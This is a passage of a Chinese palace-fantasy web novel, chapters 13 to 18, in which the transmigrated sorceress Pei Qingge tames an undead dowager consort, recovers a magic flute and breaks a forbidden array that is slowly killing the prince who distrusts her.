不相信那些传言,只相信自己眼睛看到的。 能治得住张太妃,说下雨就下雨,甚至还会医术的裴清歌就这么轻而易举的得到了他们的认可! 出了门,桑榆才终于憋不住,“他们……他们刚才叫你王妃?” “是啊。”裴清歌看着她一脸震惊的模样,忍不住抬手揉了揉她的头发,“以后你就是肃亲王妃身边的大丫鬟了,开心么?” 桑榆喜不自胜,“真的么?” “真的倒是真的,只不过……恐怕别人没那么容易承认。”裴清歌说着伸了个懒腰,“走,回去给张太妃洗澡。” 她仿佛完全忘了,被张太妃咬伤抓伤的,还有白锦夜。 落霞连陆绝的影儿都没见到,虽然左辞通传了,但陆绝早就知道被张太妃抓伤咬伤的伤口止不住血。 最近这段时间发生在王府的事情,几乎完全超出了他的认知。 以前他觉得自己是无所不能的陆神医,现在…… 他是焦头烂额的陆无能。 左辞站在一边,看着白锦夜身上流出来的血,染红了一层又一层的纱布,就是完全没有止住的趋势,焦急又帮不上什么忙。 看了半响,他灵光一闪,“王爷,陆神医,要不请裴姑娘过来吧,她说不定会有什么办法。” “好……” “不用!” 陆绝和白锦夜同时开口。 白锦夜微皱着眉,虚弱但不容置疑,“本王不信,没了她,本王就活不下去!” “没必要跟自己的身体过不去。”陆绝对左辞使了个眼色,让他赶紧去请人,又对着白锦夜道,“再说,你刚才喝的药,也是她开的药方。” 左辞也没等白锦夜再说什么,迅速的转身走了。 白锦夜气得直磨牙。 陆绝看着他笑了笑,“我现在觉得,裴清歌有点意思,你的婚事虽然被算计,但你可能不亏。” 白锦夜看了他一眼,干脆闭上眼睛,话也懒得说了。 陆绝这才收起笑容问,“如果裴清歌能救张太妃,睢园的那位可就没有留着的必要了,你打算怎么处理?” 第13章 他差点把我掐死,我管他死活? 裴清歌刚回了院子,正要烧水,左辞就急匆匆地走了进来。 “裴姑娘,还请你去看看王爷,他被张太妃抓伤的伤口一直流血,怎么都止不住。” 裴清歌抬眼看着他,“哦?那跟我有什么关系?” 左辞被她这一句话堵得半响都没说出来话。 裴清歌也懒得搭理他,继续往锅里添水,又让桑榆把火烧得旺点。 左辞是王府的大总管,按说桑榆是不敢无视他的存在的。 但她看着自己的主子一脸从容,想着自己也不能丢脸,于是就硬着头皮假装看不见左辞,默默烧火。 左辞看着这一主一仆好一会,才开口,“裴姑娘,你是王府的王妃,跟王爷夫妻一体,一荣俱荣,一损俱损,王爷好,才能护着你。” “是么?”裴清歌抬眼瞥了他一眼,“他护着我?可我看他好像巴不得我死呢。” 左辞神色尴尬,想着在雅园的时候,白锦夜确实对裴清歌下了手,一时甚至不知道该怎么解释。 “左总管,你如果没别的事,就回去照顾你们王爷吧,我要给张太妃洗漱了,你回避吧。”裴清歌说着往浴桶里舀水。 左辞默默地站了一会,见裴清歌是真的不会去救治王爷,才转身走了。 看着他出了院门,桑榆才小心翼翼地问道,“王妃,你……真的不管王爷么?” 裴清歌指了指自己脖子上的红手印,“他差点把我掐死,我管他死活?” “啊!”桑榆吓了一跳,本来还以为她脖子上是张太妃掐的,没想到竟然是王爷,“王爷怎么能下这么重的手?” “呵。”裴清歌冷笑一声,“这算什么?你们王爷心狠着呢。” “不能吧。”桑榆低声嘟囔了一句,“他们都说,王爷宅心仁厚,文韬武略,人中龙凤,怎么会……” “这话就骗骗你们这种小丫鬟。”裴清歌不以为然。 “王爷对府上的下人也很好的。”桑榆犹豫了一会,还是替白锦夜辩白道,“百姓们也都很爱戴王爷的。” 裴清歌微微皱了下眉头,白锦夜对她有偏见,她对白锦夜也有偏见,但这不妨碍白锦夜这几年为天风国守边立下汗马功劳,在天风国的百姓心中,他是一个好王爷。 看着桑榆担心的眼神,裴清歌实在不忍心这善良的小丫头心里再记挂这件事,只能开口道,“从雅园出来的时候,我给了陆神医药方,如果他把药方给王爷喝了,王爷就不会有事。” 桑榆一听,这才开心起来,“奴婢就知道,王妃和王爷一样,都是好人。” 不过话,裴清歌只说了一半,她那药方只能吊着白锦夜的命,他暂时死不了。 起码能拖到她在王府里站稳脚跟。 虽然他也被张太妃伤到,但他的伤口也不算太严重,就算一直流血,多吃点补血的药和膳食,也能熬一熬。 反正早晚得死。 他看着又让人讨厌,死前受点折磨,裴清歌可是喜闻乐见的。 她大概是这世上,最盼着做寡妇的王妃了。 裴清歌招了招手,张太妃就木然地走了过来。 桑榆没有防备,吓得一屁墩坐在了地上。 裴清歌看她的模样就知道她害怕,于是就让她先出去了。 张太妃现在能听懂她的指令,所以她让她脱衣服洗澡,也不是难事。 只不过她确实太多年没有好好地打理过了,等裴清歌给她梳好头发,换上新衣服,太阳都落山了。 裴清歌伸了个懒腰,现在的张太妃,看着顺眼多了。 * 雅园的事,在王府里被压了下来,就连白锦夜受伤的事都没漏出半点风声。 对外只说是雅园失火,救了火就没事了。 “不可能!”绿竹一拍桌子站起来,“她进了雅园,怎么可能毫发无损的出来?” “雅园的火莫不就是她放的?”秋水想了想,除了这样,也实在想不通为什么裴清歌能活下来了。 “她敢放火烧雅园,王爷怎么还会留着她的命?”绿竹皱起眉头。 “可能……毕竟是裴家嫡女,死了也不好交代。”秋水犹豫了一下,解释道。 绿竹重新坐了下来,思索了半响,“我要是没记错,你老家是洪都的吧?” 秋水点点头。 “三年前,裴清歌在洪都那事,细节你知道么?” “我知道,去年我有个表姐来看我,跟我说过。”秋水点点头,“前丞相云启元致仕后就在洪都养老,那年是云大人寿辰,云大人是三朝元老,朝中不少大臣都是他的学生,所以很多人去贺寿。” “云大人是裴元帅的岳丈,所以裴家一家人提前一个月就去洪都帮云大人准备生辰。” “就是那一个月里,裴清歌经常往外跑,后来被发现是在一处别院里,与洪都府丞之子私会,那孟公子早已有家世,后来就被孟夫人给抓到了,孟夫人也是凶悍,一碗热油泼过去,裴清歌的脸当场就毁了。” “可毕竟裴清歌有错在先,裴家人也不敢声张。还私下去议亲了,但是那孟公子嫌裴清歌毁了容,不肯娶。这事在洪都不算秘密,那孟夫人到处说,从那以后,再也没有女子敢接近孟公子了。” “议亲不成,气得裴元帅打断了裴清歌的一条腿,之后就把她关在裴府,不准她再出门。” 绿竹指尖轻轻地敲了敲桌子,“她既然这么缺男人,王爷最近又冷落她,可得找个人好好满足她才是。” 秋水愣了愣,“可是这是王府,外男怎么混进来?” 绿竹勾了勾唇,“高嬷嬷有个干儿子,你就说高嬷嬷还有细软没收拾,让他过两日找个晚上的时间偷偷来王府取,给他灌了药,引进梧桐院。” “可是……”秋水有些迟疑。 绿竹抬眼看她,“秋水,我对你可一直最好了,等赶走裴清歌,我还是这府里的女主子,哪天晚上我找个机会哄哄王爷,让王爷抬我做了侍妾,我就让你做王爷的通房丫头。” 一听这话,秋水脸上狂喜,立刻点头,出去办事了。 绿竹照着镜子,摸着自己的脸颊,眼里闪过鄙夷,“也不瞧瞧自己什么德行,还想做王爷的通房丫头?这府里就只能有我一个女主子,什么裴玲珑裴清歌,来了王府,就只有死路一条!” 第14章 劫势已成,现在积德也晚了 裴清歌几日都闭门不出,以医治张太妃为名,列了不少药材单子给左辞。 左辞那边也是尽力配合,每日源源不断的草药送进梧桐院。 当然,这些草药只有一部分用在了张太妃的身上,剩下的都是裴清歌需要的。 她这脸属实不堪入目,以后也不能顶着这么一张脸回北冥,总得医好了脸。 但这被热油烫出的疤,不像是一般的伤疤那样容易医治,裴清歌试了不少自己知道的方子,却全不见效。 “哎。”又掀掉敷了一天的药膏,裴清歌对着镜子叹气。 “王妃别急。”桑榆倒了一杯茶给她,“你连张太妃都能医好,这疤肯定也能祛除。” 她说着看了看裴清歌的脸,又看了看张太妃的脸,都是一言难尽,想了想又说,“王妃,你治好了张太妃,要是你的脸也能恢复,王爷一定会对你好的。” 裴清歌觉得桑榆实在太单纯,“你们王爷不喜欢我,跟我长得好不好看一点都没关系,也跟我能不能治好张太妃没关系。”她说着继续往自己的脸上涂药膏,“不过这脸要是能恢复,自己看着也赏心悦目不是?” 桑榆认真地点点头,“到时候王妃一定还是盛京第一美人。”她说着小心翼翼地看了一眼坐在房间角落里的张太妃,声音压得极低,“听说张太妃以前是天风国第一美人呢,要是张太妃的脸也能治好就好了。” 起初那几日她看到张太妃就怕的不行,好在几天过去,张太妃始终都是那一副样子,坐在那动也不动,她这才终于没有那么别扭。 “她能恢复的。”裴清歌觑了张太妃一眼,其实她现在只能控制住她,能治她的药都在北冥国。 这几天她尝试着把几味药分开列出来交给左辞,但是别说没有药,就是听左辞都没听过。 而且要是有锁魂玉笛就好了,有锁魂玉笛,治疗张太妃也不在话下。 她微微眯了眯眼,她当时受人暗算,跌落万丈悬崖,那锁魂玉笛跟她身体一起掉落,就算没有摔碎,那么小的东西,恐怕也是找不到了。 她又叹了口气。 桑榆只以为她是治不好脸,心里难过,又不知道该怎么安慰,只好找了个话题,“对了,之前张太妃脱下的那些衣物,奴婢拿去烧了吧。” 前几天桑榆怕的连张太妃的衣服都不敢动,现在总算是胆子大些了。 “去吧。”裴清歌挥了挥手。 桑榆找了个铁盆,就在院子里把张太妃的衣服扔了进去点燃。 火光刚升起,一直坐在角落毫无动静的张太妃突然低吼了一声冲了出去。 裴清歌一怔,不知道张太妃怎么会突然冲破她的束缚,赶紧跟出去,就见张太妃一把推开桑榆,踢翻了火盆。 桑榆吓得坐在地上看着张太妃瑟瑟发抖。 张太妃踩灭了衣服上的火,蹲下来拢着衣服碎片。 裴清歌撇了撇嘴,“怎么,穿了几年的衣服,还穿出感情了?” 肉尸确实会惦念生前最重要的东西,但她没想到,张太妃的执念会是一套衣服。 桑榆吓得不行,但见她的目标只是衣服,便小心翼翼地站起来,躲在了裴清歌的身后。 张太妃自顾自地抓着衣服碎片,那些衣服穿了几年,早就糟粕不堪,再被火烧了一下,她的手指僵直又不太好用,抓起一块碎一块。 可她也不放弃,就这么抓一把,碎一把,掉一把,她再抓一把地重复着。 裴清歌看了一会,实在看不下去了,“她这么在意这衣服,说不定是先皇赏赐她的,有什么美好的回忆,去找个布袋子来,我们帮她装起来吧。” 桑榆点点头,转身去拿了布袋子。 裴清歌知道桑榆不敢靠近,就接过布袋子,走过去,把布袋子挂在了张太妃的脖子上,一边从地上抓碎布往布袋子里放,一边道,“看白锦夜的样子长的那么好,你也应该是个美人,先皇在世的时候,也应该很疼爱你。” 张太妃看着裴清歌帮她装衣服碎片,就抱着布袋子不动了。 “只是不知道,到底为什么你会变成这副样子。” “你一个妃子,生在深宫之中,想必是被奸人所害吧。” “在我们那,皇上就只娶一个皇后,没什么后宫三千,宫里也没什么波谲云诡。” “不像你们,活得这么累。” “不过你放心,遇到我,这是你的造化,等我以后有机会回北冥国,一定会给你送来药物,到时候你就能恢复了。” 裴清歌说着顿了顿,又叹了口气,“可惜,你那儿子是个短命的,就算你能恢复,他也不一定能见到了,我看他今年年底就有一个大劫,他要是不积点德,怕是挨不过去。” “不过现在积德也晚了,劫势已成,这都是命。” 张太妃动也不动,就仿佛能听懂裴清歌说话一样,一双血红的眼睛一眨不眨地盯着她。 裴清歌抓起一把碎布放进布袋,“你看着我也没用,逆天改命是要遭天谴的,我跟他非亲非故,我可不想因为他遭天谴。” 桑榆站得远远的,只能隐隐地听见裴清歌低声絮絮叨叨的在说什么,可是她又听不清,便开口问,“王妃,你说什么?” “没什么。”裴清歌回了一句,又抓起一把碎布,正要扔进布袋,手却蓦地一顿。 这碎布里有一条硬硬的东西。 不知为何,裴清歌的心猛烈地跳动起来。 她收回手,拨开碎布。 一个巴掌大小,五孔白色的口笛静静地躺在她的掌心! 乳白的骨笛在月光下泛着淡淡的光晕。 锁魂玉笛! 第15章 她好像……闯祸了 裴清歌的瞳孔猛地紧缩,而且是完整的锁魂玉笛! 当年师父把锁魂玉笛交给她的时候,锁魂玉笛的尾端已经破裂。师父说,哪里曾经挂着一串黑色的流苏,流苏上系着锁魂石。 但在一次战事中,那任圣女受重伤,锁魂玉笛破碎,流苏和锁魂石也遗落了。 而如今,躺在她手心的锁魂玉笛完完整整,尾部的流苏和锁魂石完好无缺! 裴清歌还没想清楚怎么回事,张太妃就伸手来抢,她迅速的躲开,原来张太妃根本不是在意什么衣服,她在意的是这锁魂玉笛! 可完整的锁魂玉笛怎么会在张太妃身上? 还是这世上本来就有两支锁魂玉笛? 裴清歌想不通,只是把锁魂玉笛放在嘴边轻轻一吹,没有丝毫的声音传出,可张太妃却收回了手! 这玉笛本就悄无声息,只有灵体才能听见。 这一下她确定了,真是锁魂玉笛! 怪不得张太妃成为肉尸这么久都没死,原来是有锁魂玉笛凝聚着她最后一点生气。 裴清歌惊喜过望,正要转身回房好好研究,余光便瞄到一个人蹑手蹑脚的进了院子。 远远的,一阵浓烈的香味就飘了过来。 裴清歌抬手挥散,是寒食散,这可是极烈性的春药。 她眯了眯眼,正好试试这锁魂玉笛。 她把笛子放在嘴边,只吹了两个音,就气血翻涌。 看来这具身体,想要用锁魂玉笛,还得再好好练练才行。 不过目前来看,两个音也足够了。 张太妃听到笛音,低吼一声,就朝那人影奔射而去。 那人本来已经中了药,但是见到张太妃的尊容,以为见了鬼,吓得当场尿了裤子,头脑也一下子就清醒了过来。 张太妃拎着他的脖颈把他提了回来,扔在裴清歌的面前。 尿骚味熏得裴清歌捂住鼻子,她往后退了几步,“你是谁,来这里干什么?” 那男子吓得都傻了,又被裴清歌踹了一脚,才断断续续的道,“小人是高嬷嬷的干儿子,前几日秋水姑娘来找我,说我干娘还有些细软在王府,本来是该充公的,但是她偷偷藏了下来,要给我,又让我只能晚上来王府的后门拿。我……我只是来拿我干娘的东西的,不知道怎么就……” 他说着又看了一眼张太妃,吓得缩成一团。 “秋水?”裴清歌对这人没印象,就转头去问桑榆。 “是经常跟着绿竹的那个丫鬟。”桑榆赶紧道。 “哦。”裴清歌嘴角勾起一抹笑,“这两天忙来忙去的,都快忘了,我那天说什么来着?我说要给你出口恶气来的吧?” 她说着招呼桑榆过来,在她耳边说了几句。 桑榆不明所以,但是还是点点头,回房间去安排。 裴清歌把张太妃留在院子里,拖着那男子的衣领出了门。 出去之后,七拐八拐的,她自己也不知道走到哪了,就把那男子随手往草丛里一丢,自顾自地走了。 又绕了一会,她才拦下了一个婆子,“嬷嬷,绿竹住在哪?” 那婆子眼神不好,天又黑,根本没看清拦住自己的是谁,只以为是哪个院里的丫鬟找绿竹,便道,“绿竹这会应该在桂兰院里伺候王爷,你不要去打搅王爷的好事,有什么事明天再说吧。” 都伤重成那样还能要人伺候? 裴清歌脸上闪过一抹鄙夷,“是左大人让我给绿竹送东西,桂兰院怎么走?” 婆子仔细看了看裴清歌,想着看着眼生,在内院确实没见过,可能真是左辞从前院派过来的,就指了路。 “多谢。”裴清歌快步走了。 桂兰院里一片漆黑。 裴清歌爬上院墙,微微皱起眉头,这么黑,方便么? 她蹑手捏脚地摸到窗下,便听到里面有人在说话。 绿竹可不似往日那么蛮横,声音嗲得让人发软,“王爷,你好坏……” 裴清歌掏了掏耳朵,正欲动手,便听绿竹几声娇喘后又道,“王爷,奴婢听丫鬟说,这几日裴姑娘就在院子里不出门,但……好像有外男进去。” “外男怎么可能进王府?”白锦夜的声音也响起。 “可裴清歌她三年前就会偷人了,现在王爷冷落她,她再偷人也不稀奇啊。王爷,她毁了容,又是个瘸子,根本配不上王爷,还往王府里偷人,王爷还是早点把她赶走吧,若是被外人知道,王爷的脸面往哪搁?” “知道了。”白锦夜沉默了一下,应了一声。 “王爷~”绿竹声音婉转地撒娇,显然对白锦夜只回了这三个字很不满意,“上次她扭断了奴婢的手,你还说给奴婢出气呢。王爷,你是不是不喜欢绿竹了?奴婢知道,奴婢只是个丫鬟,比不上裴家大小姐,可奴婢跟着王爷的时候,也是清清白白……” 她说着声音有些哽咽。 裴清歌听得头皮发麻,再也听不下去了,也不知道白锦夜是怎么忍受的。 她写了一道符咒,从窗缝塞了进去。 这符咒也就是召唤几个小鬼,吓吓绿竹,要是吓到白锦夜,那就不能怪她了,谁让他不好好养伤,都快死了还想着这事。 不过……她皱了皱眉,这桂兰院实在是太黑了。 院墙高不说,院里都是树,仅有的一点月光也遮住了,就算有小鬼,绿竹也看不见。 裴清歌想了想,又写了一道符扔进去。 房间里的烛光晃了晃,一下子全都亮了起来。 “啊!”房间里果然传来绿竹凄惨的尖叫。 裴清歌满意地捂住嘴,忍住笑,那几个小鬼也就吓唬吓唬她,等天一亮就散了,她也没必要留下。 可是她刚要走,就听房间里的绿竹大喊,“啊!你是谁?你不是王爷!你是谁?” 裴清歌脚步一顿,不是白锦夜? 她犹豫了下,抬手在窗纸上戳了洞,往里面看去。 只见床上一男一女,身上不着寸缕。 绿竹拼命地用被子裹着自己往床头躲,一边大喊,“你到底是谁?” 那男人脸色难看,但——确实不是白锦夜。 裴清歌想起,之前绿竹自己说过,她是皇后赏给白锦夜的人。 后来高嬷嬷死前的话也证明皇后与白锦夜有仇。 那白锦夜自然不可能碰绿竹。 所以……这桂兰院才这么黑,只要找个声音与白锦夜相似的人,就可以骗过绿竹。 裴清歌捂住嘴,这么说,她好像……闯祸了? 第16章 我能让你活到张太妃恢复神智 裴清歌心里暗道不好,绿竹在府里也不是一天两天了,这事隐秘地进行了这么久,现在被自己戳破,绝不是什么好事。 再说,高嬷嬷死前都非要把她跟皇后绑在一起,白锦夜要是知道了自己撞破这件事,八成不会让自己好过。 裴清歌不敢多留,脚下抹油就要跑。 只是一转身,四目相对。 她看着不知道什么时候站在自己身后,正拉着一张脸的司空,回想了下自己今早起的卦,卦象四平八稳的,按说不会有什么大事。 司空从裴清歌的身上收回目光,摆了摆手,一队王府的侍卫包围了桂兰院,“绿竹私通外男,暂且押入大牢,等候王爷发落。” 他高声说完,对着裴清歌做了一个“请”的手势,示意跟他走。 裴清歌听着房间里绿竹鬼哭狼嚎,嘶吼着解释自己不认识这个男人,一刻也不想多留,跟着司空去了白锦夜的九思院。 白锦夜穿着白色的中衣,斜靠在榻上,手里正拿着一本兵书看着。 司空上前在他耳边低声说了几句,他才放下手里的书,朝裴清歌看过来。 裴清歌微皱了下眉,他最近失血,面色苍白倒也正常。 可之前他哪怕伤重之时,也是目光有神,沉稳带着几丝凛冽。 如今看去,他眼神里竟带着几丝浑浊,只剩下月余的命了。 这几日她闭门不出,难道是又起了什么变化? “太妃的情况如何了?”白锦夜气息不足,短短一句话,停了两次气息。 “暂时稳定,不会伤人了。”裴清歌了然,他还指望她救他母妃,自然不会因为绿竹这点小事找她麻烦,“只不过……治疗她的药物,左总管还没找到。” 裴清歌写下来的药,左辞都会给白锦夜过目,其中几味药,就连陆绝都闻所未闻,甚至不知道去哪里找药。 “如果有药,她要多久能恢复?”白锦夜又问。 裴清歌思索了下,其实那几味药是她用来治脸的。 现在她有了锁魂玉笛,治疗张太妃只是时间问题,毕竟她现在的身体没办法完全控制锁魂玉笛,“她病了太久,恐怕至少也要半年。” “半年……”白锦夜垂下眼,低声重复了下这两个字。 他不再问问题,裴清歌也就没再说话,房间里只剩下蜡烛燃烧时烛心爆裂的声音。 半响,白锦夜才重新抬眼,声音凉了几分,“你去桂兰院做什么?” 来的路上,裴清歌就知道,白锦夜一定会问这个问题,“王爷这么‘疼爱’绿竹姑娘,我这不是想学学,如何讨王爷欢心么?” 这理由白锦夜自然不信,但他也没有再追问,只是摆了摆手,示意所有人都出去。 裴清歌知道,他已经是强弩之末,现在不过是撑着,没力气再跟她纠缠这些小事了。 出了门,司空就脚步匆匆地走了。 左辞站在一旁,他的手因为握着白锦夜的剑受伤,现在还包着厚厚的纱布,他看了看关紧的房门,有些红了眼,低声问,“王妃,就真的没办法……早点治好张太妃么?” 张太妃是王爷的心病,好不容易治好张太妃有望,可如今,怕是王爷熬不到那一天了。 这几日,王爷的身体每况愈下,王爷自己心里也清楚,已经隐隐有交代后事的迹象了。 裴清歌摇了摇头。 “王妃,你给那几个侍卫治伤的药……”左辞说着就“噗通”一下跪了下来,“你救救王爷吧。” “你家王爷如今这状况,跟那伤没关系,你求我……”裴清歌的话还没说完,就感觉到一阵阴风吹过,她眯了眯眼,转头顺着来风的方向看去。 外面也恰好传来打更的声音,“子时三更,平安无事。” 裴清歌没再理会左辞,转身走向院子前面的影壁墙。 她那天看过,这院里阳气极盛,一丝阴气都没有,按理说不可能有阴风吹来。 可是……子时一到,这院里的阳气又突然消失的无影无踪。 无数的阴气从影壁墙里飘出,散满了整个院子,又不断地往白锦夜的卧房钻去。 怪不得…… 裴清歌抬手摸了摸影壁墙,丝丝寒气入骨—— 夜魔石! 原来是魔动阵! 这魔动阵以夜魔石做阵胆,白天吸收周围阴气,到了夜晚就全都释放出来。 她那天随意扫过院子的摆设,只当院子里阳气极盛是因为那些摆件,但现在看来,那些摆设其实是魔动阵的边际,把整个阵法限制在这个院子里,目标就只有白锦夜一个人! 魔动阵在北冥国是禁阵,已经百余年没有出现过了。 这么大一块夜魔石,在北冥国都少见。 到底是谁,这么大手笔的针对白锦夜,如此迫不及待的想要他的命? 屋子里的灯光晃了一下,白锦夜闷哼了一声,随即叫了左辞。 左辞赶紧站起身,来不及扫去膝盖上的尘土,迅速的进了门。 裴清歌犹豫了片刻,也迈步走了进去。 白锦夜虽然命短,但寿元未到,现在是有人用外力让他损寿。 她可以不管白锦夜,可有人用北冥国的禁阵害人,她身为北冥国圣女,就不能不管! 如果白锦夜死了,那人的目的达到,隐匿起来,恐怕就不好找了。 白锦夜呕了一口血,染红了白色的衣襟。 左辞扶着他躺好,“王爷,属下去叫陆神医过来。” 白锦夜摆了摆手,陆绝如果有办法,他也不会像是现在这样了。 “不用去叫陆神医。”裴清歌往前走了一步,“左总管,你现在就叫人,去把外面的影壁墙砸了。” 左辞怔了下,愣愣地看着裴清歌,“王妃……” “你不是想让我救你们王爷?那现在就叫人去砸墙。”裴清歌说着从袖袋里拿出银针,走到榻边,不等白锦夜说话,一根银针已经刺进他的颈侧。 白锦夜张了张嘴,一个字都没说出来,只能用目光狠狠地瞪着面前的女人。 裴清歌又看向左辞,“还不快去?” “是。”左辞不再犹豫,立刻出门吩咐人去砸墙。 裴清歌笑眯眯地看着白锦夜,“我知道你看我不顺眼,我看你也一样不顺眼,就跟那墙一样不顺眼。” 白锦夜明白她的意思,她今天能让人砸墙,明天就能对他下手。 “不过啊——”裴清歌话锋一转,“我能让你活到张太妃恢复神智,你也得答应我一件事。” 她的话音落下,外面就传来砸墙的声音。 左辞办事还真是利落。 很快,外面就传来几声惊呼。 左辞脸色难看地跑了进来,眼底带着几丝惊慌,“王妃,那墙……墙流血了,好多血!” 第17章 这世上除了我,没人能治好张太妃了 “有什么大惊小怪的?”裴清歌一边施针一边随意地道,“继续砸,一点根基都别留。” “是,是。”左辞甚至都忘了看白锦夜一眼,又匆忙的跑出去了。 大半夜砸墙这么大的动静,也惊动到了陆绝。 他还没走近,就闻到九思院里一股恶臭,就算用袖口掩鼻,都难以抵挡。 砸墙的人被熏吐一拨,就赶紧换一拨,再吐再换,只有左辞一个人,吐得脸都白了,还在坚守。 陆绝本想问问左辞怎么回事,但这臭气熏天的味道让他一个字都说不出来,就赶紧进了房子。 房间里有一股异香,隔绝了所有的恶臭。 陆绝看了看桌上的香薰,又看向白锦夜,他的脸色红润不少,至少比傍晚他来送药的时候,看起来好多了。 裴清歌收了银针,“王爷,你若是现在不能答复,也可以多考虑几天。”说完便起身往外走。 走到左辞身边的时候,她脚步又停了停,“这些东西不要挪走,放在这,暴晒三天之后我来处理。” 左辞想答应一声,但一张嘴,又“哇”的吐出一口黄胆水,他看着仿佛什么一点都没被这恶臭影响的裴清歌,心里对她的敬仰又多了一分。 从此以后这世上,能让他肝脑涂地的,除了白锦夜,又要多一个人了。 陆绝重新给白锦夜诊了脉,他的脉象平稳了不少,“她提了什么条件?” “上玉碟,给她王妃的金册金印。”白锦夜微微眯了眯眼。 “她倒是执着的想做你的王妃。”陆绝轻笑了一声。 “裴家那边怎么说?”白锦夜抚了抚手上的扳指。 “乐开花了。”陆绝说着拿过桌上的香薰,仔细地闻了闻,也没分辨出来这香薰的香料到底是什么,“没人愿意娶裴清歌,现在不止嫁出去了,还成了肃亲王妃,裴靖做梦都能笑醒。不过裴玲珑不太好,被抢了婚事,整日以泪洗面,裴靖说会给她寻一门更好的亲事。” “更好?”白锦夜抬眼看向陆绝。 陆绝挑了挑眉,知趣的不再继续这个话题,“裴清歌跟皇后……你真要留着她么?” 白锦夜眼底闪过一抹寒光,“不能留。” 九思院在王府的正中间,恶臭逐渐散开,就连梧桐院都能闻到一些。 桑榆捂着口鼻,站在院门外面,见到裴清歌的身影,就赶紧迎上来,“王妃,这不知道是哪来的味道,臭死了,而且……张太妃闻到这味道之后,就一直在院子里走来走去的。” 张太妃只要不动,她现在已经不怕了,可张太妃一动,她还是心惊胆战的。 “没事。”裴清歌进了院子,点上了香薰。 这是血腥的恶臭味,肉尸闻到,会刺激到它嗜血的本能,但是它现在被锁魂玉笛压制,所以只是有些躁动。 香薰的味道散开,臭味很快就被驱散,张太妃也就安静了下来,回到自己的椅子上坐着去了。 裴清歌伸了个懒腰,笑眯眯地看着桑榆,“以后绿竹再也不能欺负你们了。” “啊?”桑榆张大嘴巴看着她,“王妃,你真的去找绿竹算账了?” 裴清歌坐在摇椅上,前后晃着,“她是自作自受有天收。”说完,顿了顿,她才问,“桑榆,你知道皇后为什么要赏绿竹给王爷么?” 桑榆摇了摇头,这种事当然不是她一个小丫鬟能知道的,“奴婢不知。” 裴清歌轻轻地敲着椅子的扶手,从原主的记忆里,她知道当今皇后叫云月宁,是云启元的亲孙女,按说原主还得叫皇后一声表姐。 云月宁先是安插了绿竹到王府。 后来不想看到张太妃被救,所以听说住在睢园的人可以救她的时候,就给那个人下了毒。 甚至于抓住高嬷嬷的把柄要挟高嬷嬷。 那么这王府里,还有多少人是云月宁的人? 她可是白锦夜的嫂子,他们之间会有什么过节? 裴清歌想不通,但以目前她接收到的信息来看,云月宁的嫌疑最大。 她得想办法见见云月宁,才能知道魔动阵的事情跟她是不是有关系。 * 第二天一早,裴清歌就主动去了九思院。 影壁墙全都被凿碎了,流出来的血已经渗进土里干涸,乍一眼看上去,黑乎乎的一片。 有人在旁边看守,见到裴清歌进来也没阻拦。 裴清歌走到门前,还没等敲门,左辞就从里面走了出来,他脸上一喜,“王妃,你来了,王爷昨晚睡得不错,这么多天来难得睡个安稳觉,刚吃完早饭,胃口也不错……” “左辞。”白锦夜微凉的声音的传过来,“你什么时候成话痨了?” 左辞赶紧让开身,“王妃,那你去看王爷吧,属下还有事要忙。” 裴清歌点点头,进了门,白锦夜没理她,她就自顾自地走到桌边坐下,“本来想看看王爷怎么样,听左总管的话,应该是不错。” “裴家的家教就是这样?见到本王不知道行礼?”白锦夜拧着眉,看着裴清歌一副进自己家后院理所应当的模样,就一脸的不快。 “王爷昨晚可没这力气教训我。”裴清歌抬眼看他,“我给王爷行礼问安,王爷对我就能改观了?”说完也不等他回答,就继续道,“反正也不会,我又何必伏低做小?王爷,你得接受,现在我们两个是合作的关系。” “你别以为本王真的不敢动你。”白锦夜冷哼一声。 “你还真的不敢。”裴清歌轻笑,“毕竟这世上除了我,真的没人能治好张太妃了。睢园的那位我虽然不知道是谁,但他大概率在骗你。” “哦?”白锦夜挑眉,“这世上是不是只有你能治好张太妃我不知道,但……这世上可不止本王一个人有母亲。你可知道,你混入王府一事,裴元帅为了向本王有个交代,已经把你娘重打五十大板,关入暗室了?” 第18章 这面相是妥妥的妓女相啊 闻言,裴清歌的内心涌上一股酸涩和闷痛。 她知道,这感觉不属于自己,大概是听到母亲受苦,原主还残存着一丝本能。 毕竟在原主的记忆里,自三年前洪都的事情之后,这世上就只剩下母亲一人对她好、相信她是清白的。 裴清歌是孤儿,从小被师父养大,这世上于她而言,亲人就只有师父一个。 可如今既然替了原主的身份,那自然也多了原主的亲人。 她冷哼一声,抬手一拍桌子,“裴大元帅是非不分,怪不得做得出冷落嫡女宠爱庶女的事情。” 说完,她本想起身,但犹豫了片刻,又重新坐好。 如今她孤身一人回裴府,大概是讨不了什么好处的。 她抚了抚袖子,重新开口,“王爷,外面的影壁墙被人做了手脚,墙里流出来的血,其实王府之人的精血,久而久之,已经成了血煞。” “影壁墙虽然砸了,但血煞不除,早晚成邪祟,到时候但凡被吸过精血的人,都会成为它的第一目标,这王府,怕是要血流成河了。” 白锦夜声音温凉,“你在跟本王讲条件?” “王爷说笑了,咱们刚才不是说好了,是合作关系么?互惠互利,才能合作长久。”裴清歌的语气意味深长,又慢慢地补充一句,“王爷以后要用着我的地方,可不少呢。” 白锦夜没说话,但打量裴清歌的目光,多少带着凛冽。 裴清歌也不说话,自顾自地倒了杯茶,等着白锦夜的决定。 她知道他厌恶她,也不会真心帮她,但成年人的世界里哪有什么那么多喜欢与不喜欢,愿意与不愿意,无非是利益使然。 房间里陷入沉默,似乎也没人愿意打破。 片刻后,门外传来哭哭啼啼的声音,随即一个婆子带着一名女子走了进来。 裴清歌抬眼看去,在原主的记忆里翻出这女子的身份—— 裴玲珑。 原主的庶妹,白锦夜向皇上求娶的肃亲王妃。 裴玲珑以手帕虚掩着口鼻,走路一副弱不禁风的模样,虽然在哭,可眼如秋水,色似桃花,鼻梁有痣,嘴角含情,这面相……妥妥的妓女相。 裴清歌想着也鄙夷的看了白锦夜一样,堂堂天风国王爷,竟然喜欢这样的女子! 要不是知道裴玲珑的身份,怕是还会以为他白日宣淫,召妓入府呢! 裴玲珑扑到床边,抬手就抓住了白锦夜的手,“王爷,你快去救救母亲吧,宋嬷嬷说母亲就剩一口气了!就算这事真的是她做的,她也不过就是因为心疼姐姐。” “我受些委屈没事的,但若是因为这件事,母亲有个三长两短,我这一辈子都良心难安。” “况且,母亲虽然一直说嫡庶有别,但也从不曾苛待我们这些庶子庶女。” “王爷,我跟爹爹求情,但爹爹从母亲的房里搜出了迷药,这会正在气头上,什么也听不进去,我只能找你了。” 